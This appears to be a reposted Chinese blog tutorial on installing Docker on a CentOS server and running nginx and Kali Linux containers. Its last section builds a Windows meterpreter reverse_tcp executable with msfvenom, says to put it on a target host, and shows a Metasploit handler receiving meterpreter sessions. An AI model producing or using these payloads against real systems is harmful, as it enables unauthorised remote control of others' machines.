1. 购买一个外网的服务器,这里我使用的是centos

2. 配置yum源

wget https://mirrors.ustc.edu.cn/docker-ce/linux/centos/docker-ce.repo -O /etc/yum.repos.d/docker-ce.repo
yum clean all; yum makecache fast       --重新刷新yum源

3. 安装与启动docker

yum -y install docker-ce
systemctl restart docker
systemctl enable docker     开机自启

4. 搜索与安装容器

4.1 以 nginx 为例

docker search nginx   搜索
docker pull nginx     安装nginx

4.2 启动 nginx

docker run --name web1 -d -p 80:80 nginx
--name :表示启动的名字
-d: daemon,守护进程
-p:设置映射端口
验证页面,输入网址即可访问

对页面进行修改:

docker exec -it web1 /bin/bash    进入容器
root@3e93e119b79c:/# cat /usr/share/nginx/html/
50x.html    index.html
root@3e93e119b79c:/# echo "<h1>test nginx page<h1>" > /usr/share/nginx/html/index.html
使用exit退出,这时刷新之前的网页,nginx的欢迎页面就变成上面修改的内容了。

5. 安装外网kali

先搜索

docker search kali

安装

docker pull booyaabes/kali-linux-full

使用

[root@vultr ~]# docker image ls
REPOSITORY                  TAG                 IMAGE ID            CREATED         SIZE
booyaabes/kali-linux-full   latest              4bffca040c1c        6 hours ago         8.31GB
nginx                                 latest              bc26f1ed35cf        16 hours ago        109MB
[root@vultr ~]# docker run -it 4bffca040c1c
root@c5785446988a:/# cat /etc/os-release
PRETTY_NAME="Kali GNU/Linux Rolling"
NAME="Kali GNU/Linux"
ID=kali
VERSION="2018.4"
VERSION_ID="2018.4"
ID_LIKE=debian
ANSI_COLOR="1;31"
HOME_URL="https://www.kali.org/"
SUPPORT_URL="https://forums.kali.org/"
BUG_REPORT_URL="https://bugs.kali.org/"

直接使用即可。
如果需要监听端口,实现连接反弹shell

docker run -p 4444:4455 -it booyaabes/kali-linux-full

使用docker映射容器4455端口到local上的4444端口

[root@vultr ~]# docker container ls
CONTAINER ID        IMAGE                       COMMAND                   CREATED             STATUS              PORTS                    NAMES
8612e672d5db        booyaabes/kali-linux-full   "/bin/sh -c \"/bin/ba…"   2 minutes ago       Up 2 minutes        0.0.0.0:4444->4455/tcp   hungry_goldberg[root@vultr ~]# docker attach 8612e672d5db   进入kali容器之中

制作payload(使用本地的kali制作payload)

root@kal:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=149.248.8.210 LPORT=4444 -f exe > test.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 73802 bytes

将exe文件放到目标主机上
在kali容器中运行msf

[root@vultr ~]# docker attach 9b2fcb0c1d21
root@9b2fcb0c1d21:/# msfconsole ,           ,/             \((__---,,,---__))(_) O O (_)_________\ _ /            |\o_o \   M S F   | \\   _____  |  *|||   WW||||||     |||=[ metasploit v4.17.14-dev                         ]
+ -- --=[ 1809 exploits - 1030 auxiliary - 313 post       ]
+ -- --=[ 539 payloads - 42 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 149.248.8.210
lhost => 149.248.8.210
msf exploit(multi/handler) > set lport 4455
port => 4455
msf exploit(multi/handler) > run
[-] Handler failed to bind to 149.248.8.210:4455:-  -
[*] Started reverse TCP handler on 0.0.0.0:4455
[*] Sending stage (179779 bytes) to 42.90.91.248
[*] Meterpreter session 1 opened (172.17.0.3:4455 -> 42.90.91.248:11526) at 2018-09-26 09:39:23 +0000
[*] Sending stage (179779 bytes) to 42.90.91.248
[*] Meterpreter session 2 opened (172.17.0.3:4455 -> 42.90.91.248:11528) at 2018-09-26 09:39:25 +0000meterpreter > 

这样就拿到了反弹shell

docker借鉴学习:https://yeasy.gitbooks.io/docker_practice/image/

转载于:https://blog.51cto.com/13155409/2286209

docker使用教程相关推荐

  1. docker 镜像修改的配置文件自动还原_原创 | 全网最实在的docker入门教程四

    作者:潘吉祥 上一篇我们学习了如何使用Dockerfile制作自己的镜像,不过这种方式更像纯粹的运维方式,作为开发者来说,未免有些小繁琐,一个不小心写错些命令就执行失败,我们还不知道错误在哪,这着实有 ...

  2. Docker系列教程01-Centos7安装新版Docker教程(10步)

    最近一直忙于开发,没有时间好好总结一下docker的知识.其实现在docker的教程已经很多很多了,但是很多系统的教程都是基于Ubuntu系统,因为官方推荐使用Ubuntu系统啊,原因在于Ubuntu ...

  3. Docker 实战教程之从入门到提高 (五)

    本系列的前四篇文章,我们学习了如何在 Ubuntu 操作系统安装 Docker,并且通过实战练习,了解了 Docker 和宿主机操作系统文件目录互相隔离的实现原理,以及 Docker Volume 的 ...

  4. Docker 实战教程之从入门到提高 (四)

    本系列的前三篇文章,我们学习了如何在 Ubuntu 操作系统安装 Docker,并且通过实战练习,了解了 Docker 和宿主机操作系统文件目录互相隔离的实现原理,以及 Docker Volume 的 ...

  5. Docker 实战教程之从入门到提高(二)

    本系列第一篇文章,Docker 实战教程之从入门到提高 (一),我们已经介绍了如何在 Ubuntu 操作系统中安装 Docker,以及 Proxy 和 Insecure Registry 的配置. 本 ...

  6. Docker教程(一) Docker入门教程

    Docker教程(一) Docker入门教程 本文链接:https://blog.csdn.net/yuan_xw/article/details/51935278 Docker教程(一) Docke ...

  7. 【Docker系列教程之三】Docker容器是如何工作的

    在上一篇的文章中,我给大家主要介绍了一下 Docker 环境的搭建,简单的讲解了一下 Docker 架构,以及用 Docker 命令简单演示了一下如何拉去一个 images 镜像.本篇我们将剖析一下  ...

  8. docker registry push 覆盖_原创 | 全网最实在的docker入门教程四

    原创头条号:码农code之路,作者:潘吉祥,转载请标明出处 上一篇我们学习了如何使用Dockerfile制作自己的镜像,不过这种方式更像纯粹的运维方式,作为开发者来说,未免有些小繁琐,一个不小心写错些 ...

  9. Docker安装教程(超详细)

    Docker安装教程(超详细) 欢迎关注博主公众号「Java大师」, 专注于分享Java领域干货文章, 关注回复「资源」, 免费领取全网最热的Java架构师学习PDF, 转载请注明出处 http:// ...

  10. Docker 详细教程

    Docker 详细教程 一.Docker简介 1.1 docker是什么 [问题]:问什么会有docker出现 ​ Docker的出现 使得Docker得以**打破过去「程序即应用」的观念.透过镜像( ...

最新文章

  1. SQL Server 环形缓冲区(Ring Buffer) -- 介绍
  2. 明明白白你的Linux服务器——安全篇
  3. VTK:多重渲染窗口用法实战
  4. MySQL唯一索引与主键的区别:主键相当于一本书的页码,索引相当于书的目录
  5. 超图理论的一点理解(一)
  6. java的未检查异常有哪些_Java:检查异常与未检查异常
  7. centos 6.5 rsync+inotify 实时同步
  8. cortex_m0架构(顶层AHB_Lite接口)
  9. 利用Boost影响Lucene查询结果的排序
  10. 在教学中利用计算机软件,计算机软件在数学教学中的应用
  11. Java设计模式------工厂模式-------工厂方法模式
  12. 基于jquery打造的一款全页面图片分享特效
  13. cron表达式案例+cron在线生成器
  14. freeswitch简介
  15. 学习阶段小测,简单的幸运抽奖系统
  16. 清华女硕士代言西湖名胜六和塔(组图),张姣怡,杭州西湖六和塔
  17. 小米也打价格战?会有1999的小米2吗?
  18. 哗哗地照样子写词语_描写哗哗的词语
  19. 联发科硕士工作4年待遇_重庆医科大学第三临床学院 2019年硕士研究生复试工作圆满结束...
  20. SCI期刊名缩写查询

热门文章

  1. 手机红米5android7.11,这些是不支持ANDROID 11更新的小米和红米手机
  2. 计算机基础图文混排教案,中职《Word图文混排》教学设计|word图文混排教学设计...
  3. 2018安卓面试经历
  4. 数据库系统---分布式数据库系统
  5. js如何实现拆分字符串并依次输出
  6. 【自动化测试】Web自动化测试框架01
  7. Android 悬浮窗的使用(1)
  8. 回答“关于用python做机器学习工作中的random_state参数到底是个什么意思”
  9. java加载gif动画图片
  10. sct分散加载文件格式与应用